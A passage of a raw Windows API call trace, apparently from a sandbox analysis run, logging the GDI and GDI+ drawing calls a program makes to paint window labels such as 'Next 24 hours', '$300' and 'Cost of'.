GdipGetDC (graphics=0x6915b98, hdc=0x19e918) returned 0x0 [0155.539] BitBlt (hdc=0x1e0106e1, x=0, y=0, cx=178, cy=111, hdcSrc=0x4010725, x1=0, y1=0, rop=0xcc0020) returned 1 [0155.539] GdipReleaseDC (graphics=0x6915b98, hdc=0x4010725) returned 0x0 [0155.539] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0155.540] SelectObject (hdc=0x4010725, h=0x85000f) returned 0x5050721 [0155.540] DeleteDC (hdc=0x4010725) returned 1 [0155.540] GdipDeleteGraphics (graphics=0x6915b98) returned 0x0 [0155.540] EndPaint (hWnd=0x30212, lpPaint=0x19e8bc) returned 1 [0155.540] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.540] IsWindowUnicode (hWnd=0x8020c) returned 1 [0155.540] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.540] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.540] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0155.540] BeginPaint (in: hWnd=0x8020c, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1b010670 [0155.540] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0155.540] CreateCompatibleDC (hdc=0x1b010670) returned 0x6010725 [0155.541] SelectObject (hdc=0x6010725, h=0x5050721) returned 0x85000f [0155.541] GdipCreateFromHDC (hdc=0x6010725, graphics=0x19e8e4) returned 0x0 [0155.541] GdipTranslateWorldTransform (graphics=0x6915b98, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0155.541] GdipSetClipRectI (graphics=0x6915b98, x=0, y=0, width=170, height=29, combineMode=0x0) returned 0x0 [0155.541] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0155.541] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915f08) returned 0x0 [0155.541] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e944) returned 0x0 [0155.541] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff5f8 [0155.541] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xeff5f8) returned 0x0 [0155.541] LocalFree (hMem=0xeff5f8) returned 0x0 [0155.541] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0155.541] GdipCreateRegion (region=0x19e92c) returned 0x0 [0155.541] GdipGetClip (graphics=0x6915b98, region=0x6917c70) returned 0x0 [0155.541] GdipIsInfiniteRegion (region=0x6917c70, graphics=0x6915b98, result=0x19e938) returned 0x0 [0155.541] GdipSaveGraphics (graphics=0x6915b98, state=0x19e964) returned 0x0 [0155.541] GetWindowTextLengthW (hWnd=0x8020c) returned 13 [0155.541] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x8020c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xd [0155.541] GetSystemMetrics (nIndex=42) returned 0 [0155.542] GetWindowTextW (in: hWnd=0x8020c, lpString=0x19e864, nMaxCount=14 | out: lpString="Next 24 hours") returned 13 [0155.542] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x8020c, Msg=0xd, wParam=0xe, lParam=0x19e864) returned 0xd [0155.542] GetClientRect (in: hWnd=0x8020c, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0155.542] GdipCreateRegion (region=0x19e780) returned 0x0 [0155.542] GdipGetClip (graphics=0x6915b98, region=0x6917f60) returned 0x0 [0155.542] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0155.542] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915f38) returned 0x0 [0155.542] GdipIsMatrixIdentity (matrix=0x6915f38, result=0x19e798) returned 0x0 [0155.542] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff5c0 [0155.542] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xeff5c0) returned 0x0 [0155.542] LocalFree (hMem=0xeff5c0) returned 0x0 [0155.542] GdipCombineRegionRegion (region=0x6917f60, region2=0x6917c70, combineMode=0x1) returned 0x0 [0155.542] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff8d0 [0155.542] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xeff8d0) returned 0x0 [0155.542] LocalFree (hMem=0xeff8d0) returned 0x0 [0155.542] GdipDeleteMatrix (matrix=0x6915f38) returned 0x0 [0155.542] GdipIsInfiniteRegion (region=0x6917f60, graphics=0x6915b98, result=0x19e7c0) returned 0x0 [0155.542] GdipIsInfiniteRegion (region=0x6917f60, graphics=0x6915b98, result=0x19e7b0) returned 0x0 [0155.542] GdipGetRegionHRgn (region=0x6917f60, graphics=0x6915b98, hRgn=0x19e7b0) returned 0x0 [0155.542] GdipDeleteRegion (region=0x6917f60) returned 0x0 [0155.542] GdipGetDC (graphics=0x6915b98, hdc=0x19e7c8) returned 0x0 [0155.543] GetCurrentObject (hdc=0x6010725, type=0x1) returned 0xb00017 [0155.543] GetCurrentObject (hdc=0x6010725, type=0x2) returned 0x900010 [0155.543] GetCurrentObject (hdc=0x6010725, type=0x7) returned 0x5050721 [0155.543] GetCurrentObject (hdc=0x6010725, type=0x6) returned 0x8a01c2 [0155.543] SaveDC (hdc=0x6010725) returned 1 [0155.543] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x9f0406fe [0155.543] GetClipRgn (hdc=0x6010725, hrgn=0x9f0406fe) returned 0 [0155.543] SelectClipRgn (hdc=0x6010725, hrgn=0xde04070e) returned 2 [0155.543] DeleteObject (ho=0x9f0406fe) returned 1 [0155.543] DeleteObject (ho=0xde04070e) returned 1 [0155.543] OffsetViewportOrgEx (in: hdc=0x6010725, x=0, y=0, lppt=0x2ffe934 | out: lppt=0x2ffe934) returned 1 [0155.543] GetNearestColor (hdc=0x6010725, color=0x323533) returned 0x323533 [0155.543] CreateSolidBrush (color=0x323533) returned 0x24100628 [0155.543] FillRect (hDC=0x6010725, lprc=0x19e7cc, hbr=0x24100628) returned 1 [0155.543] DeleteObject (ho=0x24100628) returned 1 [0155.543] RestoreDC (hdc=0x6010725, nSavedDC=-1) returned 1 [0155.544] GdipReleaseDC (graphics=0x6915b98, hdc=0x6010725) returned 0x0 [0155.544] GdipRestoreGraphics (graphics=0x6915b98, state=0xfd8d0dbd) returned 0x0 [0155.544] GdipDeleteRegion (region=0x6917c70) returned 0x0 [0155.544] GetWindowTextLengthW (hWnd=0x8020c) returned 13 [0155.544] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x8020c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xd [0155.544] GetSystemMetrics (nIndex=42) returned 0 [0155.544] GetWindowTextW (in: hWnd=0x8020c, lpString=0x19e864, nMaxCount=14 | out: lpString="Next 24 hours") returned 13 [0155.544] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x8020c, Msg=0xd, wParam=0xe, lParam=0x19e864) returned 0xd [0155.544] GdipGetDC (graphics=0x6915b98, hdc=0x19e7e8) returned 0x0 [0155.544] GetCurrentObject (hdc=0x6010725, type=0x1) returned 0xb00017 [0155.544] GetCurrentObject (hdc=0x6010725, type=0x2) returned 0x900010 [0155.544] GetCurrentObject (hdc=0x6010725, type=0x7) returned 0x5050721 [0155.544] GetCurrentObject (hdc=0x6010725, type=0x6) returned 0x8a01c2 [0155.544] SaveDC (hdc=0x6010725) returned 1 [0155.544] GetNearestColor (hdc=0x6010725, color=0x6994f5) returned 0x6994f5 [0155.544] RestoreDC (hdc=0x6010725, nSavedDC=-1) returned 1 [0155.544] GdipReleaseDC (graphics=0x6915b98, hdc=0x6010725) returned 0x0 [0155.545] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0155.545] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0155.545] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x19e78c, fWinIni=0x0 | out: pvParam=0x19e78c) returned 1 [0155.545] SendMessageW (hWnd=0x1023e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0155.545] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0155.545] GdipGetTextRenderingHint (graphics=0x6915b98, mode=0x19e788) returned 0x0 [0155.545] GdipGetDC (graphics=0x6915b98, hdc=0x19e774) returned 0x0 [0155.545] GetCurrentObject (hdc=0x6010725, type=0x1) returned 0xb00017 [0155.545] GetCurrentObject (hdc=0x6010725, type=0x2) returned 0x900010 [0155.545] GetCurrentObject (hdc=0x6010725, type=0x7) returned 0x5050721 [0155.545] GetCurrentObject (hdc=0x6010725, type=0x6) returned 0x8a01c2 [0155.545] SaveDC (hdc=0x6010725) returned 1 [0155.546] GetTextAlign (hdc=0x6010725) returned 0x0 [0155.546] GetTextColor (hdc=0x6010725) returned 0x0 [0155.546] SetTextColor (hdc=0x6010725, color=0x6994f5) returned 0x0 [0155.546] GetCurrentObject (hdc=0x6010725, type=0x6) returned 0x8a01c2 [0155.546] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0155.546] SelectObject (hdc=0x6010725, h=0x390a06de) returned 0x8a01c2 [0155.546] GetBkMode (hdc=0x6010725) returned 2 [0155.546] SetBkMode (hdc=0x6010725, mode=1) returned 2 [0155.546] DrawTextExW (in: hdc=0x6010725, lpchText="Next 24 hours", cchText=13, lprc=0x19e708, format=0x100000, lpdtp=0x2ffede0 | out: lpchText="Next 24 hours", lprc=0x19e708) returned 29 [0155.553] RestoreDC (hdc=0x6010725, nSavedDC=-1) returned 1 [0155.553] GdipReleaseDC (graphics=0x6915b98, hdc=0x6010725) returned 0x0 [0155.554] GdipGetDC (graphics=0x6915b98, hdc=0x19e924) returned 0x0 [0155.554] BitBlt (hdc=0x1b010670, x=0, y=0, cx=171, cy=29, hdcSrc=0x6010725, x1=0, y1=0, rop=0xcc0020) returned 1 [0155.554] GdipReleaseDC (graphics=0x6915b98, hdc=0x6010725) returned 0x0 [0155.554] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0155.554] SelectObject (hdc=0x6010725, h=0x85000f) returned 0x5050721 [0155.554] DeleteDC (hdc=0x6010725) returned 1 [0155.554] GdipDeleteGraphics (graphics=0x6915b98) returned 0x0 [0155.554] EndPaint (hWnd=0x8020c, lpPaint=0x19e8c8) returned 1 [0155.554] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.555] IsWindowUnicode (hWnd=0x20214) returned 1 [0155.555] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.555] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.555] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0155.555] BeginPaint (in: hWnd=0x20214, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x10105d6 [0155.555] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0155.555] CreateCompatibleDC (hdc=0x10105d6) returned 0x8010725 [0155.555] SelectObject (hdc=0x8010725, h=0x5050721) returned 0x85000f [0155.555] GdipCreateFromHDC (hdc=0x8010725, graphics=0x19e8e4) returned 0x0 [0155.555] GdipTranslateWorldTransform (graphics=0x6915b98, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0155.555] GdipSetClipRectI (graphics=0x6915b98, x=0, y=0, width=79, height=33, combineMode=0x0) returned 0x0 [0155.555] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0155.555] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915f08) returned 0x0 [0155.555] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e944) returned 0x0 [0155.556] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff828 [0155.556] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xeff828) returned 0x0 [0155.556] LocalFree (hMem=0xeff828) returned 0x0 [0155.556] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0155.556] GdipCreateRegion (region=0x19e92c) returned 0x0 [0155.556] GdipGetClip (graphics=0x6915b98, region=0x6917c70) returned 0x0 [0155.556] GdipIsInfiniteRegion (region=0x6917c70, graphics=0x6915b98, result=0x19e938) returned 0x0 [0155.556] GdipSaveGraphics (graphics=0x6915b98, state=0x19e964) returned 0x0 [0155.556] GetWindowTextLengthW (hWnd=0x20214) returned 4 [0155.556] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20214, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x4 [0155.556] GetSystemMetrics (nIndex=42) returned 0 [0155.556] GetWindowTextW (in: hWnd=0x20214, lpString=0x19e874, nMaxCount=5 | out: lpString="$300") returned 4 [0155.556] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20214, Msg=0xd, wParam=0x5, lParam=0x19e874) returned 0x4 [0155.556] GetClientRect (in: hWnd=0x20214, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0155.556] GdipCreateRegion (region=0x19e780) returned 0x0 [0155.556] GdipGetClip (graphics=0x6915b98, region=0x6917f60) returned 0x0 [0155.556] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0155.556] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915f38) returned 0x0 [0155.556] GdipIsMatrixIdentity (matrix=0x6915f38, result=0x19e798) returned 0x0 [0155.556] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeffb38 [0155.556] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xeffb38) returned 0x0 [0155.557] LocalFree (hMem=0xeffb38) returned 0x0 [0155.557] GdipCombineRegionRegion (region=0x6917f60, region2=0x6917c70, combineMode=0x1) returned 0x0 [0155.557] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff668 [0155.557] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xeff668) returned 0x0 [0155.557] LocalFree (hMem=0xeff668) returned 0x0 [0155.557] GdipDeleteMatrix (matrix=0x6915f38) returned 0x0 [0155.557] GdipIsInfiniteRegion (region=0x6917f60, graphics=0x6915b98, result=0x19e7c0) returned 0x0 [0155.557] GdipIsInfiniteRegion (region=0x6917f60, graphics=0x6915b98, result=0x19e7b0) returned 0x0 [0155.557] GdipGetRegionHRgn (region=0x6917f60, graphics=0x6915b98, hRgn=0x19e7b0) returned 0x0 [0155.557] GdipDeleteRegion (region=0x6917f60) returned 0x0 [0155.557] GdipGetDC (graphics=0x6915b98, hdc=0x19e7c8) returned 0x0 [0155.558] SaveDC (hdc=0x8010725) returned 1 [0155.558] GdipReleaseDC (graphics=0x6915b98, hdc=0x8010725) returned 0x0 [0155.558] GdipRestoreGraphics (graphics=0x6915b98, state=0xfd8b0dbd) returned 0x0 [0155.558] GdipDeleteRegion (region=0x6917c70) returned 0x0 [0155.558] GdipGetDC (graphics=0x6915b98, hdc=0x19e7e8) returned 0x0 [0155.558] GdipReleaseDC (graphics=0x6915b98, hdc=0x8010725) returned 0x0 [0155.558] GdipGetTextRenderingHint (graphics=0x6915b98, mode=0x19e788) returned 0x0 [0155.558] GdipGetDC (graphics=0x6915b98, hdc=0x19e774) returned 0x0 [0155.559] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0155.559] SelectObject (hdc=0x8010725, h=0x230a0712) returned 0x8a01c2 [0155.559] DrawTextExW (in: hdc=0x8010725, lpchText="$300", cchText=4, lprc=0x19e708, format=0x100000, lpdtp=0x2fff66c | out: lpchText="$300", lprc=0x19e708) returned 33 [0155.562] GdipReleaseDC (graphics=0x6915b98, hdc=0x8010725) returned 0x0 [0155.562] GdipGetDC (graphics=0x6915b98, hdc=0x19e924) returned 0x0 [0155.562] GdipReleaseDC (graphics=0x6915b98, hdc=0x8010725) returned 0x0 [0155.563] GdipDeleteGraphics (graphics=0x6915b98) returned 0x0 [0155.563] EndPaint (hWnd=0x20214, lpPaint=0x19e8c8) returned 1 [0155.563] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.563] IsWindowUnicode (hWnd=0x20216) returned 1 [0155.563] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.563] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.563] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0155.563] BeginPaint (in: hWnd=0x20216, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x60100ce [0155.563] SelectPalette (hdc=0x60100ce, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0155.564] GdipCreateFromHDC (hdc=0xa010725, graphics=0x19e8e4) returned 0x0 [0155.564] GdipTranslateWorldTransform (graphics=0x6915b98, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0155.564] GdipSetClipRectI (graphics=0x6915b98, x=0, y=0, width=109, height=33, combineMode=0x0) returned 0x0 [0155.564] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0155.564] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915f08) returned 0x0 [0155.564] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e944) returned 0x0 [0155.564] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff710 [0155.564] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xeff710) returned 0x0 [0155.564] LocalFree (hMem=0xeff710) returned 0x0 [0155.564] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0155.564] GdipCreateRegion (region=0x19e92c) returned 0x0 [0155.564] GdipGetClip (graphics=0x6915b98, region=0x6917c70) returned 0x0 [0155.565] GdipIsInfiniteRegion (region=0x6917c70, graphics=0x6915b98, result=0x19e938) returned 0x0 [0155.565] GdipSaveGraphics (graphics=0x6915b98, state=0x19e964) returned 0x0 [0155.565] GetWindowTextLengthW (hWnd=0x20216) returned 7 [0155.565] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20216, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0155.565] GetSystemMetrics (nIndex=42) returned 0 [0155.565] GetWindowTextW (in: hWnd=0x20216, lpString=0x19e870, nMaxCount=8 | out: lpString="Cost of") returned 7 [0155.565] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20216, Msg=0xd, wParam=0x8, lParam=0x19e870) returned 0x7 [0155.565] GetClientRect (in: hWnd=0x20216, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0155.565] GdipCreateRegion (region=0x19e780) returned 0x0 [0155.565] GdipGetClip (graphics=0x6915b98, region=0x6917f60) returned 0x0 [0155.565] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0155.565] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915f38) returned 0x0 [0155.565] GdipIsMatrixIdentity (matrix=0x6915f38, result=0x19e798) returned 0x0 [0155.565] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff9e8 [0155.565] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xeff9e8) returned 0x0 [0155.565] LocalFree (hMem=0xeff9e8) returned 0x0 [0155.565] GdipCombineRegionRegion (region=0x6917f60, region2=0x6917c70, combineMode=0x1) returned 0x0 [0155.565] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff5c0 [0155.565] GdipGetMatrixElements (matrix=0x6915f38, matrixOut=0xeff5c0) returned 0x0 [0155.565] LocalFree (hMem=0xeff5c0) returned 0x0 [0155.565] GdipDeleteMatrix (matrix=0x6915f38) returned 0x0 [0155.565] GdipIsInfiniteRegion (region=0x6917f60, graphics=0x6915b98, result=0x19e7c0) returned 0x0 [0155.566] GdipIsInfiniteRegion (region=0x6917f60, graphics=0x6915b98, result=0x19e7b0) returned 0x0 [0155.566] GdipGetRegionHRgn (region=0x6917f60, graphics=0x6915b98, hRgn=0x19e7b0) returned 0x0 [0155.566] GdipDeleteRegion (region=0x6917f60) returned 0x0 [0155.566] GdipGetDC (graphics=0x6915b98, hdc=0x19e7c8) returned 0x0 [0155.566] GetCurrentObject (hdc=0xa010725, type=0x1) returned 0xb00017 [0155.566] GetCurrentObject (hdc=0xa010725, type=0x2) returned 0x900010 [0155.566] GetCurrentObject (hdc=0xa010725, type=0x7) returned 0x5050721 [0155.566] GetCurrentObject (hdc=0xa010725, type=0x6) returned 0x8a01c2 [0155.566] SaveDC (hdc=0xa010725) returned 1 [0155.566] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xa20406fe [0155.566] GetClipRgn (hdc=0xa010725, hrgn=0xa20406fe) returned 0 [0155.566] SelectClipRgn (hdc=0xa010725, hrgn=0xe104070e) returned 2 [0155.566] DeleteObject (ho=0xa20406fe) returned 1 [0155.566] DeleteObject (ho=0xe104070e) returned 1 [0155.566] OffsetViewportOrgEx (in: hdc=0xa010725, x=0, y=0, lppt=0x2fffa88 | out: lppt=0x2fffa88) returned 1 [0155.566] GetNearestColor (hdc=0xa010725, color=0x323533) returned 0x323533 [0155.566] CreateSolidBrush (color=0x323533) returned 0x26100628 [0155.566] FillRect (hDC=0xa010725, lprc=0x19e7cc, hbr=0x26100628) returned 1 [0155.567] DeleteObject (ho=0x26100628) returned 1 [0155.567] RestoreDC (hdc=0xa010725, nSavedDC=-1) returned 1 [0155.567] GdipReleaseDC (graphics=0x6915b98, hdc=0xa010725) returned 0x0 [0155.567] GdipRestoreGraphics (graphics=0x6915b98, state=0xfd890dbd) returned 0x0 [0155.567] GdipDeleteRegion (region=0x6917c70) returned 0x0 [0155.567] GetWindowTextLengthW (hWnd=0x20216) returned 7 [0155.567] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20216, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0155.567] GetSystemMetrics (nIndex=42) returned 0 [0155.567] GetWindowTextW (in: hWnd=0x20216, lpString=0x19e870, nMaxCount=8 | out: lpString="Cost of") returned 7 [0155.567] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20216, Msg=0xd, wParam=0x8, lParam=0x19e870) returned 0x7 [0155.567] GdipGetDC (graphics=0x6915b98, hdc=0x19e7e8) returned 0x0 [0155.567] GetCurrentObject (hdc=0xa010725, type=0x1) returned 0xb00017 [0155.567] GetCurrentObject (hdc=0xa010725, type=0x2) returned 0x900010 [0155.567] GetCurrentObject (hdc=0xa010725, type=0x7) returned 0x5050721 [0155.567] GetCurrentObject (hdc=0xa010725, type=0x6) returned 0x8a01c2 [0155.567] SaveDC (hdc=0xa010725) returned 1 [0155.567] GetNearestColor (hdc=0xa010725, color=0x6994f5) returned 0x6994f5 [0155.567] RestoreDC (hdc=0xa010725, nSavedDC=-1) returned 1 [0155.568] GdipReleaseDC (graphics=0x6915b98, hdc=0xa010725) returned 0x0 [0155.568] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0155.568] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0155.568] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x19e78c, fWinIni=0x0 | out: pvParam=0x19e78c) returned 1 [0155.568] SendMessageW (hWnd=0x1023e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0155.568] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x1023e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0155.568] GdipGetTextRenderingHint (graphics=0x6915b98, mode=0x19e788) returned 0x0 [0155.568] GdipGetDC (graphics=0x6915b98, hdc=0x19e774) returned 0x0 [0155.568] GetCurrentObject (hdc=0xa010725, type=0x1) returned 0xb00017 [0155.568] GetCurrentObject (hdc=0xa010725, type=0x2) returned 0x900010 [0155.568] GetCurrentObject (hdc=0xa010725, type=0x7) returned 0x5050721 [0155.568] GetCurrentObject (hdc=0xa010725, type=0x6) returned 0x8a01c2 [0155.569] SaveDC (hdc=0xa010725) returned 1 [0155.569] GetTextAlign (hdc=0xa010725) returned 0x0 [0155.569] GetTextColor (hdc=0xa010725) returned 0x0 [0155.569] SetTextColor (hdc=0xa010725, color=0x6994f5) returned 0x0 [0155.569] GetCurrentObject (hdc=0xa010725, type=0x6) returned 0x8a01c2 [0155.569] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0155.569] SelectObject (hdc=0xa010725, h=0x230a0712) returned 0x8a01c2 [0155.569] GetBkMode (hdc=0xa010725) returned 2 [0155.569] SetBkMode (hdc=0xa010725, mode=1) returned 2 [0155.569] DrawTextExW (in: hdc=0xa010725, lpchText="Cost of", cchText=7, lprc=0x19e708, format=0x100000, lpdtp=0x2ffff10 | out: lpchText="Cost of", lprc=0x19e708) returned 33 [0155.570] RestoreDC (hdc=0xa010725, nSavedDC=-1) returned 1 [0155.570] GdipReleaseDC (graphics=0x6915b98, hdc=0xa010725) returned 0x0 [0155.570] GdipGetDC (graphics=0x6915b98, hdc=0x19e924) returned 0x0 [0155.571] BitBlt (hdc=0x60100ce, x=0, y=0, cx=109, cy=33, hdcSrc=0xa010725, x1=0, y1=0, rop=0xcc0020) returned 1 [0155.571] GdipReleaseDC (graphics=0x6915b98, hdc=0xa010725) returned 0x0 [0155.571] SelectPalette (hdc=0x60100ce, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0155.571] SelectObject (hdc=0xa010725, h=0x85000f) returned 0x5050721 [0155.571] DeleteDC (hdc=0xa010725) returned 1 [0155.571] GdipDeleteGraphics (graphics=0x6915b98) returned 0x0 [0155.571] EndPaint (hWnd=0x20216, lpPaint=0x19e8c8) returned 1 [0155.571] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.571] IsWindowUnicode (hWnd=0x20218) returned 1 [0155.571] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.571] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.571] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0155.571] BeginPaint (in: hWnd=0x20218, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x1e0106e1 [0155.572] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0155.572] GetWindowTextLengthW (hWnd=0x20218) returned 0 [0155.572] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20218, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0155.572] GetSystemMetrics (nIndex=42) returned 0 [0155.572] GetWindowTextW (in: hWnd=0x20218, lpString=0x19e8ac, nMaxCount=1 | out: lpString="") returned 0 [0155.572] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x20218, Msg=0xd, wParam=0x1, lParam=0x19e8ac) returned 0x0 [0155.572] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0155.572] EndPaint (hWnd=0x20218, lpPaint=0x19e8f8) returned 1 [0155.572] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.572] IsWindowUnicode (hWnd=0x2021a) returned 1 [0155.572] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0155.572] TranslateMessage (lpMsg=0x19ee78) returned 0 [0155.572] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0155.572] BeginPaint (in: hWnd=0x2021a, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1b010670 [0155.573] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0155.573] CreateCompatibleDC (hdc=0x1b010670) returned 0xd010725 [0155.573] SelectObject (hdc=0xd010725, h=0x5050721) returned 0x85000f [0155.573] GdipCreateFromHDC (hdc=0xd010725, graphics=0x19e8e4) returned 0x0 [0155.573] GdipTranslateWorldTransform (graphics=0x6915b98, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0155.573] GdipSetClipRectI (graphics=0x6915b98, x=0, y=0, width=165, height=29, combineMode=0x0) returned 0x0 [0155.573] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0155.573] GdipGetWorldTransform (graphics=0x6915b98, matrix=0x6915f08) returned 0x0 [0155.573] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e944) returned 0x0 [0155.573] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xeff5c0 [0155.573] 